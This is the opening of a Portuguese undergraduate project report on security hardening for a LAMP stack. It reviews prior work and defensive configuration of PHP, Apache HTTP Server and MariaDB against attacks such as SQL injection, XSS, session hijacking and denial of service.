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Resumo 
Este documento descreve o trabalho desenvolvido no âmbito da unidade curricular 
Projeto de Informática, na Licenciatura de Engenharia Informática da Escola Superior de 
Tecnologia e Gestão do Instituto Politécnico da Guarda.  
Desde que a Internet começou a ser utilizada pelo público em geral que é indiscutível a 
sua importância no nosso dia-a-dia. Há uma maior dependência das aplicações web, desde 
a utilização particular ao mundo empresarial. Um dos pontos fundamentais para que a 
Internet possa ser utilizada são os servidores web. Para um bom funcionamento do 
servidor, e para que o processo de comunicação e troca de informação seja eficiente, o 
servidor tem de estar bem configurado e, fundamentalmente, seguro.  
A motivação para o desenvolvimento deste projeto surge da importância que o assunto da 
segurança em servidores web tem nas áreas das Tecnologias de Informação e a 
possibilidade de adquirir e aprofundar conhecimentos nesta área.  
Para este projeto propôs-se a análise das mais relevantes configurações que permitem 
aumentar a segurança das tecnologias que compõem a stack Linux, Apache, MariaDB e 
PHP (LAMP). Relativamente ao PHP: Hypertext Preprocessor (PHP) são abordadas 
várias configurações que devem ser tidas em conta para proteger aplicações de ataques 
de roubo de sessão ou Cross-Site Scripting (XSS). Em relação à MariaDB é proposto um 
conjunto de configurações que asseguram a integridade do servidor da base de dados, 
assim como a sua informação, abordando os utilizadores e seus privilégios, ligações 
seguras ao servidor com a utilização de Transport Layer Security (TLS) e auditorias nas 
bases de dados. No que concerne ao Apache HTTP Server é feita a recomendação de um 
conjunto de configurações a fazer para proteger o servidor de ataques DoS (Denial of 
Service), e sugestão de utilização de módulos específicos com o objetivo de proteger 
contra ataques DoS e outros ataques, como por exemplo o XSS. Em relação ao Apache 
HTTP Server, também é abordada a configuração do Hypertext Transfer Protocol Secure 
(HTTPS) no servidor.  
Palavras-chave: Segurança, Servidores web, Configuração, MariaDB, PHP, Apache 
HTTP Server.   
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Abstract 
This document describes the work developed on the course of the subject Computer 
Project, of the Computer Science degree of the Technology and Management School of 
the Polytechnic of Guarda. 
Since the Internet began to be used by the general public that it is undeniable it’s 
importance on our daily life. There is a bigger dependency on web applications, from the 
personal use to the business world. One of the fundamental things that the Internet needs 
are web servers. For the server to have a good performance, and for the communication 
process and exchange of information to be efficient, the server must be correctly 
configured and, most importantly, be secure.  
The motivation for the development of this project arises from the great importance that 
security on web servers has on the Technology Information field and the chance to acquire 
and explore further knowledge in this matter.  
For this project was proposed the analysis of the most relevant settings towards the 
security increase of the technologies that make up the Linux, Apache, MariaDB, and PHP 
(LAMP) stack. About the PHP: Hypertext Preprocessor (PHP) we discuss several 
configurations that should be considered for the protection of web applications against 
session hijacking or Cross-Site Scripting (XSS) attacks. In relation to MariaDB, we 
propose a set of configurations that assure the integrity of the database server, as well as 
its information, their users and privileges, secure connections to the server using 
Transport Layer Security (TLS) and audits on the database. In what concerns the Apache 
HTTP Server, we make recommendations about a set of configurations to protect the 
server from denial of service (DoS) attacks. We suggest the use of specific modules with 
the purpose of protect the server from DoS and other type of attacks, like XSS. We also 
refer to the Hypertext Transfer Protocol Secure (HTTPS) configuration of the server. 
 
Keywords: Security, Web Servers, Configuration, MariaDB, PHP, Apache HTTP 
Server.  
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1 Introdução 
É indiscutível a importância da Internet nos nossos dias. É notória a maior dependência, 
quer a nível particular quer empresarial, do mundo online e, por essa razão, é fundamental 
que as infraestruturas utilizadas tenham um bom funcionamento, já que na ocorrência de 
falhas, tanto a imagem das empresas como as suas operações, sairiam prejudicadas [1]. 
Com o aumento da utilização da Internet, aumentam também as ameaças à segurança dos 
utilizadores, das infraestruturas e das suas aplicações [2]. Só no ano de 2016, a Kaspersky 
Lab bloqueou aproximadamente 758 milhões de ataques feitos através de recursos online, 
a partir de países de todo o mundo [3].  
Os servidores web têm uma importância vital no funcionamento da Internet. São eles que 
recebem e processam os pedidos dos utilizadores, sendo que este processo é feito através 
do protocolo Hypertext Transfer Protocol (HTTP) ou Hypertext Transfer Protocol Secure 
(HTTPS), na camada aplicação do modelo Open System Interconnection (OSI) utilizando 
o protocolo Transmission Control Protocol (TCP), da camada de transporte do modelo 
OSI, para a ligação entre o cliente e o servidor. Para um bom funcionamento do servidor, 
e para que o processo de comunicação e troca de informação seja eficiente, o servidor tem 
de estar bem configurado e, fundamentalmente, seguro. Como referido acima, com o 
evoluir da tecnologia e da importância da Internet, o número de ameaças e ataques é 
elevado, fazendo com que a segurança seja um ponto crucial a ter em conta no momento 
da configuração de um servidor.  
Propõe-se com este trabalho a criação de um documento onde estejam descritas e 
demonstradas as boas práticas de configuração e operação de um servidor web.  
1.1 Enquadramento 
Este projeto enquadra-se no âmbito do curso de Licenciatura em Engenharia Informática 
e tem como um dos principais objetivos permitir adquirir experiência nesta área de tanta 
importância como é a segurança. Este projeto vai aprofundar os conhecimentos 
adquiridos ao longo do curso nesta área. 
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Com a maior dependência de aplicações web no nosso dia-a-dia torna-se indispensável 
para um licenciado em Engenharia Informática ter conhecimentos suficientes para fazer 
uso das melhores práticas e configurações aquando da instalação de um servidor web, 
sem comprometer a sua usabilidade e segurança.  
1.2 Motivação 
A motivação para desenvolver este projeto surge da importância que o assunto da 
segurança em servidores web tem na área das Tecnologias de Informação e a possibilidade 
de adquirir e aprofundar conhecimentos nesta área. O uso de tecnologias de extrema 
relevância no mercado, como é o caso do Apache HTTP Server e do PHP, por exemplo, 
surge como um incentivo. No decorrer da licenciatura estas matérias foram referidas, mas 
nunca muito aprofundadas, pelo que este projeto vai permitir adquirir e consolidar 
conhecimentos que serão cruciais no mercado de trabalho.  
1.3 Objetivos  
Pretende-se realizar um projeto que analise as mais relevantes configurações de um 
servidor web, que permitam uma melhoria da sua segurança. Dada a sua prevalência, 
propõe-se a análise da stack Linux, Apache MariaDB e PHP (LAMP). Devem ser 
estudadas as várias opções de configuração relacionadas com a segurança, não deixando 
de lado outras preocupações comuns, como a performance e os recursos utilizados. As 
justificações das opções mais relevantes devem ser estudadas a fundo, através de 
experiências montadas em laboratório, de modo a testar na prática as propostas de 
configuração e operação do servidor web sugeridas. 
Desta forma, os objetivos propostos são: 
1) No PHP, devem ser descritas as configurações que melhor transcrevam um ambiente 
seguro e, quando necessário, fazer a demonstração do efeito que essas configurações 
vão ter na aplicação e no servidor web, falando também de vulnerabilidades que 
possam aparecer mediante certas configurações.  
Capítulo 1 – Introdução 
 
 
3 
2) No Apache HTTP Server, devem ser descritas as configurações que melhor protejam 
o servidor quanto a ataques. É importante também referir o interesse das informações 
constantes nos logs num servidor web, assim como o controlo de acesso que tem de 
ser feito para evitar problemas de segurança. Visto que o Apache HTTP Server é um 
aplicação modular, será também importante referir o aspeto dos módulos no servidor 
web.    
3) Na MariaDB será importante tratar dos privilégios dos utilizadores, do acesso às bases 
de dados e da própria configuração de modo a que fique o mais seguro possível.  
1.4 Estrutura do documento 
O presente relatório está dividido em sete capítulos. No primeiro capítulo estão descritos 
os objetivos e as motivações para a realização do projeto descrito neste relatório. Neste 
capítulo é também feito o enquadramento do projeto. 
No segundo capítulo, é feita a análise de estudos feitos anteriormente relacionados com 
o tema deste projeto. 
No terceiro capítulo são discutidas as tecnologias utilizadas no desenvolvimento deste 
projeto, assim como a descrição do funcionamento das tecnologias no contexto 
pretendido neste projeto, uma stack LAMP. É também neste capítulo que é focada a 
metodologia adotada no desenvolvimento do projeto. 
Os restantes capítulos compreendem o desenvolvimento do projeto. No quarto capítulo é 
tratado o PHP, onde é explorada a sua configuração por omissão e uma configuração 
recomendada. O quinto capítulo corresponde à MariaDB, onde são propostas medidas e 
configurações de segurança para um servidor SQL. No sexto capítulo é analisada a 
configuração do servidor web, Apache HTTP Server, alguns módulos pertinentes para a 
segurança do servidor e a configuração do HTTPS. Por fim, no sétimo capítulo são 
apresentadas conclusões finais do trabalho realizado. 
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2 Estado de Arte 
Dada a prevalência da Internet no nosso dia-a-dia, é por demais evidente a importância 
que os servidores web têm. Um dos pontos cruciais para os servidores web é o seu sistema 
de segurança [4]. É imperativo que o servidor esteja preparado para os mais variados 
ataques de que possa vir a ser alvo.  
Neste capítulo são analisadas propostas existentes de outros autores que sejam relevantes 
para o tema e tecnologias utilizadas neste projeto.  
2.1 Segurança no PHP 
O PHP é uma das linguagens de programação web mais utilizadas neste momento e é 
utilizada para desenvolver páginas dinâmicas, sendo interpretada no lado do servidor [5]. 
Foi criada em 1995 por Rasmus Lerdorf e a última versão estável é a 7.2.0.  
Com a evolução da web, foram aparecendo novas vulnerabilidades que exploravam certas 
funções e configurações que o PHP tinha por omissão. Com o intuito de proteger as 
aplicações dos utilizadores e melhorar a segurança da linguagem foram retiradas ou 
melhoradas certas funções ou configurações existentes. Uma dessas configurações foi a 
diretiva register_globals, que foi deprecada na versão 5.3.0 do PHP e removida 
na versão 5.4.0 [6]. Esta diretiva, quando ativada, registava os elementos do array 
$_REQUEST, que engloba o $_GET, $_POST e $_COOKIE, como sendo variáveis [6]. 
Isso iria permitir, por exemplo, que os dados de um formulário, ao ser submetido através 
de POST ou GET, iriam estar acessíveis a uma variável que tivesse o mesmo nome do 
campo do formulário. Dado que esta funcionalidade foi amplamente utilizada em ataques 
às aplicações desenvolvidas em PHP, foi removida por completo da linguagem [6].  
Um dos pontos onde também houve algumas alterações foi nas funções disponibilizadas 
pelo PHP para a sanitização dos inputs dos utilizadores para a inserção de dados em bases 
de dados. Para tentar impedir certos ataques, como SQL Injection (SQLi), é preciso que 
o input dos utilizadores não contenha certo tipo de caracteres, e para limpar esses 
caracteres o PHP disponibilizava a diretiva magic_quotes_gpc [7]. Esta diretiva, 
ativa por omissão nas versões 3 e 4 do PHP e removida na versão 5.4, sempre que 
Segurança na LAMP stack | Ricardo Almeida 
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encontrava no input uma pelica (‘), aspas (“) ou uma barra invertida (\) acrescentava uma 
barra invertida para escapar esses caracteres, contudo esta diretiva sempre teve problemas 
de segurança [8]. Para fazer o escape dos caracteres esta diretiva utilizava o mesmo 
método empregue pela função do PHP addslashes(), que não é compatível com 
Unicode e que pode causar problemas de segurança quando se estiver a tratar de dados 
para inserção numa base de dados [9]. A juntar às preocupações de segurança, também 
tinha impacto na performance da aplicação e existiam algumas incompatibilidades com 
algumas bases de dados que não aceitavam a barra invertida como escape. Devido a estas 
razões, esta diretiva foi removida, e aconselhada a utilização de outros métodos para se 
fazer o escape de strings [10]. O módulo MySQL, que permitia a ligação e operação com 
bases de dados MySQL, disponibilizava duas funções para o escape de strings antes da 
operação da base de dados: o mysql_escape_string, deprecado na versão 4.3.0 do 
PHP, e o mysql_real_escape_string, sendo esta uma versão melhorada da 
anterior, e que tem em conta o conjunto de caracteres que está a ser utilizado na ligação 
à base de dados, ao contrário do mysql_escape_string [11][12]. Na versão 7.0.0 
do PHP o módulo MySQL foi removido, sendo substituído pela versão melhorada 
MySQLi [13]. O módulo MySQLi também disponibiliza funções já existentes no módulo 
MySQL, as prepared statements, que quando bem utilizadas previnem ataques SQLi. As 
prepared statements utilizam um template que é enviado previamente ao servidor da base 
de dados, e só depois é que são substituídos no template os valores introduzidos por um 
utilizador. Visto os valores serem enviados separadamente da query para o servidor, não 
existe a possibilidade de ocorrer um ataque SQLi que tente alterar a estrutura da query 
[14]. Para outras bases de dados que não sejam a MySQL, o PHP tem o módulo PHP 
Data Objects (PDO), que trabalha com um grande número de bases de dados e também 
tem disponíveis as prepared statements.    
Um dos pontos fulcrais no mundo online é a proteção dos dados. Um dos primeiros passos 
para se fazer isso é com a utilização de hashes, que a partir de um input gera uma 
mensagem (message digest) praticamente impossível de ser invertida, e são 
especialmente úteis para a proteção de palavras-passe de utilizadores [15]. No PHP 
existem duas funções que geram hashes, a md5() que utiliza o algoritmo Message Digest 
5 (MD5) [16], e a sha1() que utiliza o algoritmo Secure Hash Algoritms 1 (SHA1) [17]. 
Com o avançar do poder computacional, estes algoritmos tornaram-se inseguros e estas 
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funções deixaram de ser recomendadas para a proteção de palavras-passes [18]. Para esse 
efeito, desde a versão 5.5 do PHP que está disponível um conjunto de funções que 
permitem criar hashes (password_hash()), verificar se uma string corresponde a 
uma dada hash (password_verify()) e obter informações acerca desta 
(password_get_info()) [17][20][21]. Visto os algoritmos MD5 e SHA1 serem 
atualmente considerados inseguros, o algoritmo utilizado por omissão pela função 
password_hash() é o Blowfish. A função password_hash(), por omissão, cria 
uma hash com salt, uma informação adicional que impede que a origem da hash surja em 
ataques de quebras de passwords que usam dicionários [19]. 
Outro ponto fulcral nas aplicações web são os cookies. Os cookies podem guardar 
informação não só relativa à sessão, mas também informação acerca das preferências do 
utilizador de um determinado site. Inclusive o conteúdo mostrado ao utilizador pode ser 
determinado a partir das preferências presentes nos cookies [22]. No ficheiro de 
configuração do PHP existem diversas diretivas relacionadas com a manutenção de 
sessão e os cookies, e ao longo do tempo têm surgido alterações nesse nível. O identity 
document (ID) da sessão pode ser guardado nos cookies ou ser passado num Uniform 
Resource Locator (URL), contudo, o ID passado num URL é menos seguro do que os 
cookies. Com esse objetivo, o PHP tem duas diretivas que fazem essa indicação, a 
session.use_cookies, que por omissão está ativa e garante a utilização de cookies 
[23], e a session.use_only_cookies, introduzida na versão 4.3.0 do PHP e ativa 
por omissão a partir da versão 5.3.0, que garante que o ID só é guardado em cookies [24]. 
Com a adoção do HTTPS1, foi preciso adaptar o PHP para a sua utilização com as 
diretivas session.cookie_secure, que indica que o cookie só pode ser transmitido 
se o pedido for feito através de um canal seguro, e o session.cookie_httponly, 
que impede que o cookie esteja acessível a linguagens de scripting, impedindo ataques de 
Cross-Site Scripting (XSS) [25][26]. A diretiva session.cookie_secure, apesar 
de ter sido introduzida na versão 4.0.4 do PHP ainda não está ativa por omissão, assim 
como a diretiva session.cookie_httponly, que também vem desativa.  
                                                 
1 Protocolo HTTP sobre o protocolo Secure Sockets Layer (SSL) ou TLS que encripta a comunicação de 
um ponto ao outro tornando a comunicação mais segura 
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Fernando Canto realizou um estudo onde analisou algumas vulnerabilidades do PHP [27]. 
Nesse estudo o autor refere algumas das vulnerabilidades mais conhecidas em aplicações 
PHP, como o SQLi e o XSS, mas também outros tópicos pertinentes no âmbito da 
segurança da linguagem, como o register_globals e mensagens de erro no 
servidor. Como medidas de prevenção para ataques SQLi e XSS o autor refere a 
importância do tratamento de dados para combater estas vulnerabilidades, salientando 
que o descuido nesse aspeto do desenvolvimento das aplicações é a maior causa dessas 
vulnerabilidades. Com isso em vista, o autor recomenda que todos os valores provenientes 
dos arrays $_GET, $_POST, $_REQUEST e $COOKIE sejam filtrados, recorrendo a 
bibliotecas e frameworks, e sejam armazenados noutro tipo de estrutura. Para dados que 
serão inseridos em bases de dados é recomendado o escape de strings através de 
bibliotecas, com funções como a mysql_real_escape_string() como forma de 
prevenir ataques de SQLi. Para tratamento de dados que serão mostrados a um utilizador, 
e de forma a evitar ataques XSS, o autor refere a função do PHP htmlentities(), 
para filtrar entidades HTML e evitar que esse código seja interpretado. Em relação à 
visualização de mensagens de erros, o autor afirma que estas podem mostrar informações 
importantes e por essa razão é recomendada a desativação da visualização de todos os 
erros em ambientes de produção.  
Regis Titon fez uma análise de técnicas de reforço de segurança aplicadas a servidores e 
através de uma ferramenta open-source, Lynis, analisou as configurações presentes nos 
serviços do servidor [28]. Relativamente ao PHP, foi dado ênfase à opção do 
register_globals, que foi desativada nesse processo de segurança, e às diretivas 
enable_dl, e allow_url_include, desativas por omissão. A diretiva 
allow_url_fopen também foi identificada como potencialmente perigosa, contudo 
permaneceu ativa.  
Na sua análise de segurança em aplicações web, Charitos Panagiotis estudou várias 
vulnerabilidades que existem nas tecnologias web, como ataques de SQLi e XSS, 
sugerindo medidas de proteção nos vários serviços necessários para que o sistema tivesse 
as condições necessárias para ser seguro [29]. Na configuração do PHP feita pelo autor, 
foram desativadas as diretivas allow_url_fopen, allow_url_include, 
disable_functions, display_errors, expose_php, 
magic_quotes_gpc, open_basedir, register_globals, safe_mode e 
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use_trans_sid. Como justificação das suas escolhas, o autor afirma que as diretivas 
allow_url_fopen, allow_url_include e disable_functions permitem a 
manipulação de ficheiros através de scripts, a diretiva display_errors pode mostrar 
informações sensíveis e por isso tornar-se um risco para a segurança do servidor. Como 
a diretiva magic_quotes_gpc não é totalmente eficaz contra ataques SQLi, o autor optou 
por utilizar um script próprio para prevenir ataques SQLi e desativar a diretiva. 
As restantes diretivas estão desativas por omissão. Nas diretivas memory_limit e 
post_max_size o autor definiu um limite de 128 megabytes em cada uma.  
No seu livro Crys Snyder et al, para além de uma análise de segurança do servidor e da 
base de dados, também tratam as melhores práticas a ter em conta quando se utiliza o 
PHP. Os autores fazem demonstrações práticas de como se devem colmatar falhas de 
segurança, dando grande enfâse a ataques como SQLi, XSS e roubo de sessão. Para este 
tipo de situações os autores fazem uma série de propostas para aumentar a proteção das 
aplicações, como validação de inputs dos utilizadores com a utilização da função 
htmlentities(), utilização de prepared statements e a desativação de funções 
consideradas perigosas, como a eval() e preg_replace() por exemplo, nas 
configurações do PHP [30][31][32].   
2.2 Segurança no Apache HTTP Server 
O Apache HTTP Server é um projeto open-source desenvolvido e mantido pela The 
Apache Software Foundation, cujo objetivo é fornecer um serviço HTTP seguro e 
eficiente de acordo com os standards atuais. Foi primeiramente lançado em 1995 e 
tornou-se o servidor web mais popular em abril de 1996 [33]. A atual versão estável é a 
2.4, com a versão 2.4.28 a ser lançada em outubro de 2017, estando disponível para 
sistemas operativos Windows e Unix.  
Ao longo do desenvolvimento do Apache HTTP Server o paradigma de segurança na 
Internet foi mudando, levando a uma adaptação das funcionalidades disponíveis no 
servidor ao longo das suas versões com o objetivo de se conseguir proteger de diversos 
ataques que possam ser prejudiciais ao seu funcionamento. Com isso em vista, foram 
sendo introduzidas uma série de diretivas de configuração capazes de combater certos 
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ataques. Um dos ataques que mais atinge os servidores web são os ataques de negação de 
serviço (DoS), que torna o serviço do servidor indisponível. Como forma de proteção a 
este tipo de ataques o Apache utiliza desde as primeiras versões as diretivas TimeOut e 
KeepAliveTimeout. A diretiva TimeOut estabelece um limite de tempo em que o 
servidor fica à espera que determinado evento aconteça (receber corpo do pacote, por 
exemplo) antes de fechar a ligação, e nas primeiras versões do Apache, este tempo estava 
definido como 1200 segundos, sendo diminuído para 300 segundos a partir da versão 1.2 
[34]. Na versão mais recente do Apache, a diretiva TimeOut tem por omissão o valor de 
60 segundos, contudo para servidores que sejam alvos de ataques de DoS, é aconselhável 
utilizar um valor mais baixo [35]. A diretiva KeepAliveTimeout especifica o número 
de segundos que o servidor, numa ligação persistente, vai esperar por pedidos antes que 
este feche a ligação [36]. Esta diretiva ficou disponível a partir da versão 1.1 do Apache, 
com o valor de 15 segundos, tendo definido na versão 2.4, 5 segundos, com a 
possibilidade de definir esta diretiva em milissegundos [36]. A partir da versão 2.2 ficou 
disponível a diretiva RequestReadTimeout, inerente ao módulo 
mod_reqtimeout, como forma de estabelecer tempos limites para a receção do 
cabeçalho e corpo dos pedidos recebidos pelo servidor, de forma a defender-se de ataques 
DoS Slowloris [37].  
O Apache HTTP Server também tem como objetivo garantir a segurança das aplicações 
alojadas no seu serviço e, para isso, é possível a partir da customização dos cabeçalhos 
de resposta HTTP adicionar proteções contra diversas vulnerabilidades, desde 
Clickjacking a ataques XSS. Isto é possível através do módulo mod_headers 
adicionado na versão 1.2 do Apache, através do qual é possível adicionar flags como o 
HttpOnly e Secure que protegem a sessão e os cookies das aplicações [38]. Com este 
módulo é também possível definir diferentes tipos de cabeçalhos como o X-XSS-
Protection, que funciona como um filtro de ataques XSS, e Content Security 
Policy (CSP), standard que previne ataques XSS, Clickjacking e outras 
vulnerabilidades que utilizem injeção de código.  
A comunicação entre cliente e servidor é feita através do protocolo HTTP. Podem ser 
utilizados vários métodos nos pedidos, contudo, vários métodos podem mostrar-se 
inseguros para o servidor e por essa razão o Apache permite que a sua utilização possa 
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ser restringida. Essa restrição pode ser feita através das diretivas Limit [39] e 
LimitExcept [40], e a partir da versão 2.4, com o módulo experimental 
mod_allowmethods [41]. Apesar de nas comunicações ser utilizado o protocolo 
HTTP, surgiu a necessidade de proteger a autenticidade, integridade e privacidade das 
comunicações. Surgiu então o HTTPS, que utiliza os protocolos SSL/TLS para encriptar 
a comunicação, e o Apache a partir da versão 2.0 desenvolve o módulo mod_ssl, dando 
assim suporte à utilização de comunicações seguras no servidor [42]. Este módulo nas 
versões 2.2 e 2.4 foi sendo melhorado, suportando mais cifras e a partir da versão 2.4 
passou a suportar o protocolo Online Certificate Status Protocol (OCSP), utilizado para 
verificar o estado dos certificados digitais em utilização. Com a versão 2.4, o Apache 
também passou a dar suporte à nova versão do protocolo HTTP, o HTTP/2, com o módulo 
mod_http2 [43].  
No artigo “Security in the Apache Web Server Configuration”, os autores fazem uma 
análise às características de segurança do servidor web Apache [44]. Os autores utilizaram 
um scanner de vulnerabilidades, Nikto, para fazer uma análise à instalação por omissão 
do servidor Apache em sistemas UNIX e Windows Server. Os resultados foram idênticos 
nos sistemas operativos utilizados, sendo que para além do scanner alertar para a 
desatualização do servidor em utilização, alertou também para a linha de cabeçalho ETag 
e o método HTTP Trace ativos. Os autores para além da desativação do cabeçalho ETag 
e do método HTTP Trace, aconselham também as seguintes práticas: bom conhecimento 
dos elementos de configuração do servidor; não carregar módulos desconhecidos e 
desnecessários para evitar comprometer a segurança do sistema; fazer uma gestão cuidada 
dos utilizadores no sistema, eliminando os desnecessários e analisar bem os privilégios e 
permissões de cada utilizador no sistema; configuração do servidor para que este mostre 
o mínimo de informação possível acerca do sistema; operação do servidor, e serviços 
correspondentes a este, devem estar num sistema exclusivo para que este não fique 
exposto por outros serviços disponíveis no mesmo sistema. Em conjugação com estas 
práticas, é proposto também a utilização de firewalls: uma de aplicação, o módulo 
ModSecurity, e outra de fronteira. O módulo ModSecurity monitoriza todo o tráfego 
HTTP do servidor impedindo que pedidos HTTP maliciosos possam comprometer a 
segurança do servidor. Na firewall de fronteira é proposto pelos autores apenas deixar 
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passar tráfego nos portos 80 (HTTP) e 443 (HTTPS) prevenindo assim ataques 
provenientes de outros portos abertos.  
Na análise feita por Regis Titon a técnicas de hardening aplicadas a servidores [28], no 
respeitante ao servidor web Apache, o autor tratou as ligações seguras, com certificados 
SSL e analisou algumas opções como o ServerTokens (informações do servidor e 
módulos do Apache no cabeçalho de resposta HTTP) e ServerSignature (rodapé 
dos documentos gerados pelo servidor) que desativou. O módulo mod_status, que 
contém informações acerca da atividade do servidor e da sua performance também foi 
desativado pelo autor.  
Charitos Panagiotis na sua análise de segurança em aplicações web [29], abordou as 
ligações seguras ao servidor web configurando o HTTPS e desativou os módulos 
desnecessários ao funcionamento do servidor, ficando apenas com os módulos 
imprescindíveis: httpd_core e mod_log_config, necessários para gerir as 
funcionalidades essenciais do servidor Apache; mod_access, que gere o controlo de 
acessos aos pedidos dos clientes; mod_auth, necessário para a utilização da 
autenticação básica; mod_dir, necessário para mostrar ao cliente páginas de índex e 
evitar a navegação no diretório; mod_mime, necessário para a configuração de 
caracteres; mod_ssl, utilizado na configuração do HTTPS.  
2.3 Segurança na MariaDB 
A MariaDB é uma base de dados relacional open source desenvolvida em 2009 pelos 
fundadores do MySQL [45]. Presentemente como versões estáveis existem duas opções 
possíveis de utilização, a versão 5.5, que utiliza a versão 5.3 da MariaDB em conjunto 
com a versão 5.5 do MySQL oferecendo novas funcionalidades, e a versão 10.2 que é a 
versão estável mais recente. Ao longo do desenvolvimento da MariaDB foram lançadas 
novas funcionalidades, algumas incluídas no âmbito da segurança, sendo que muitas 
dessas funcionalidades estão disponíveis através de plugins, como o caso do plugin Audit 
[46]. 
Desde as primeiras versões que a MariaDB se preocupou com a segurança e nos sistemas 
Linux é disponibilizado um script de configuração segura do servidor, o 
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mysql_secure_installation [47]. Com este script é possível configurar contas 
de utilizador root, remover o acesso a estas contas fora do servidor, remover contas 
anónimas e remover bases de dados de teste [47]. Um dos pontos fulcrais nas bases de 
dados é proteger os dados que esta contém, e para assegurar a integridade dos dados, foi 
introduzida na versão 10.1 a encriptação dos dados presentes no servidor [48]. A gestão 
das chaves utilizadas na encriptação pode ser feita através de três plugins: MariaDB 
encryption [49], Amazon Key Management Encryption [50] e Eperi Key Management 
System [51]. Ainda no âmbito da integridade dos dados, a MariaDB começou a suportar 
OpenSSL e LibreSSL a partir da versão 10.2, permitindo assim a utilização do protocolo 
TLS [52]. Isto é particularmente importante pois passou a permitir a implementação de 
ligações seguras entre o cliente e o servidor da base de dados.  
No que concerne à autenticação na base de dados, a MariaDB disponibiliza desde as 
primeiras versões diversos plugins, com especial destaque para o plugin Pluggable 
Authentication Modules (PAM), que permite diversos métodos de autenticação no 
servidor nos sistemas Linux, desde autenticação por frases-chave Secure Shell (SSH) a 
palavras-passe descartáveis com confirmação por SMS [53]. Outro plugin, disponível a 
partir da versão 10.1 da MariaDB, é o ed25519, que utiliza algoritmos de assinatura digital 
de curvas elípticas (ECDSA), empregado também pelo OpenSSH [54].  
Na versão 10.0, foi criado o plugin Audit, que permite criar logs com os acessos ao 
sistema, operações em tabelas e bases de dados e que utilizador executou essas ações [55].  
Crys Snyder et al, na operação com a base de dados propõem uma série de cuidados a ter 
[30]. É proposto pelos autores serem removidos os utilizadores anónimos e utilizadores 
sem palavra-passe que são criados por omissão aquando da instalação, desaconselhando 
por completo a utilização deste tipo de utilizadores no servidor. Outros cuidados a ter, 
referidos pelos autores, são a verificação das permissões dos ficheiros de configuração da 
base de dados, a execução do serviço da base de dados como um utilizador sem privilégios 
root e por fim, a atribuição conservadora de permissões a utilizadores.  
Na sua análise de segurança em aplicações web, Charitos Panagiotis fez uma abordagem 
à segurança da base de dados [29]. Nela, o autor altera o utilizador root e a sua palavra-
passe por omissão, e apaga as contas e bases de dados desnecessárias criadas na 
instalação, como a base de dados test.  
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No mesmo sentido dos autores anteriores, Regis Titon na sua análise a técnicas de 
hardening aplicadas a servidores, abordou também a questão da base de dados, contudo 
limita-se a referir o script de segurança fornecido na instalação do MySQL e MariaDB 
[28]. Através do script, mysql_secure_installation, são apagados utilizadores 
anónimos, bases de dados de teste e é definida a palavra-passe para o utilizador root. 
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3 Metodologia e Tecnologias 
Neste capitulo são analisadas a metodologia empregada no desenvolvimento deste 
projeto, assim como as tecnologias utilizadas. É também explicado o funcionamento do 
conjunto das tecnologias utilizadas que formam a stack LAMP. 
No desenvolvimento de projetos de software, por norma, são seguidos modelos ou 
metodologias de trabalho que tentam agilizar o processo de desenvolvimento o mais 
possível.  
3.1 Metodologia Ágil 
Como metodologia de desenvolvimento, para este projeto é escolhida a metodologia ágil. 
Esta metodologia tem como base a comunicação entre os intervenientes no projeto, 
incluindo o cliente que é considerado como parte integrante da equipa de 
desenvolvimento. Tem como principal objetivo “a redução de ciclos de desenvolvimento, 
uma maior adaptabilidade e flexibilidade a alterações ou ao aparecimento de novos 
requisitos dos stakeholders, assim como o cumprimento dos prazos de entrega” [56].  
Existem diferentes abordagens que seguem os princípios da metodologia ágil. Para o 
desenvolvimento deste projeto foi optado pela abordagem SCRUM. Esta abordagem é 
adequada para projetos com prazos reduzidos de conclusão e com requisitos que mudam 
com alguma frequência. A abordagem SCRUM utiliza um conjunto de processos que são 
iterados até que o projeto de software esteja concluído [56]. Os processos presentes no 
SCRUM são: 
• Pendência – lista priorizada de requisitos. O gerente avalia e define prioridades 
quando for necessário;  
• Sprints – são unidades de trabalho que são necessárias realizar para completar um 
requisito definido no processo da pendência;  
• Reuniões Scrum – reuniões curtas diárias, normalmente de 15 minutos, onde são 
colocadas questões como o que foi feito desde a última reunião, que obstáculos 
foram encontrados ou o que vai ser feito até à próxima reunião da equipa;  
• Demos – entrega de uma demo funcional ao cliente para que este possa testar e 
avaliar novas funcionalidades. 
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Neste projeto foram realizadas reuniões a cada novo capítulo feito, e nelas era revisto o 
trabalho realizado e discutido o trabalho a ser feito no próximo capítulo do relatório, 
sendo este discutido na próxima reunião. Sempre que houvesse dúvidas ou 
esclarecimentos que precisassem de ser feitos era marcada uma reunião extra. 
Este projeto foi realizado no âmbito da unidade curricular Projeto de Informática e, por 
isso, parte do mesmo foi desenvolvido nas aulas, havendo entregas periódicas do trabalho 
desenvolvido nestas. Durante este período houve sempre um acompanhamento por parte 
da professora coordenadora da unidade curricular assim como por parte do professor 
orientador.  
3.2 Tecnologias 
A base de trabalho para este projeto é a instalação de um servidor web. Para isso vai ser 
utilizado um conjunto de aplicações chamado LAMP. LAMP é o conjunto de uma 
distribuição Linux, com Apache HTTP Server, MariaDB e PHP.  
 Sistema Operativo 
No âmbito dos servidores há diversos sistemas operativos que podiam ser opção para a 
realização deste projeto. Os mais utilizados são sistemas Linux e Windows, com os 
sistemas Linux a terem uma maior preferência e, por essa razão o projeto utiliza um 
ambiente Linux [57].  
Nos sistemas Linux, há uma ampla variedade de distribuições que são adequadas para 
serem sistemas operativos de servidores. Para o desenvolvimento deste projeto foi 
escolhido o Oracle Linux. Este sistema operativo foi lançado em 2006, com a sua última 
versão, 7.2, a ser lançada em novembro do ano 2015. É um sistema baseado na 
distribuição Red Hat Enterprise Linux (RHEL).  
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 Servidor web 
Há uma ampla variedade de servidores que podem ser usados. O website W3Techs 
realizou um estudo para perceber quais eram os servidores web mais utilizados [58]. 
Constataram que dos vários servidores utilizados havia três que se destacavam, sendo eles 
o Apache, o Nginx e o Internet Information Services (IIS) da Microsoft. Devido à maior 
prevalência do Apache HTTP Server, este projeto utiliza esta aplicação [59]. 
O Apache HTTP Server é compatível com sistemas Unix e Windows e tem como 
principais características a utilização de módulos carregáveis dinamicamente, 
balanceamento de cargas, suporte para TLS/SSL via OpenSSL e controlos de acesso.  
 Base de dados 
MariaDB é uma base de dados relacional desenvolvida pelos criadores do MySQL [45]. 
Foi desenvolvida em 2009 e a última versão estável foi lançada em junho de 2014 com a 
versão 10.1. Esta base de dados é open source, com licença GNU General Public License 
(GNU GPL). Tem como principais características: 
• Galera Cluster, um cluster com replicação síncrona; 
• Encriptação de tabelas, espaço das tabelas e logs; 
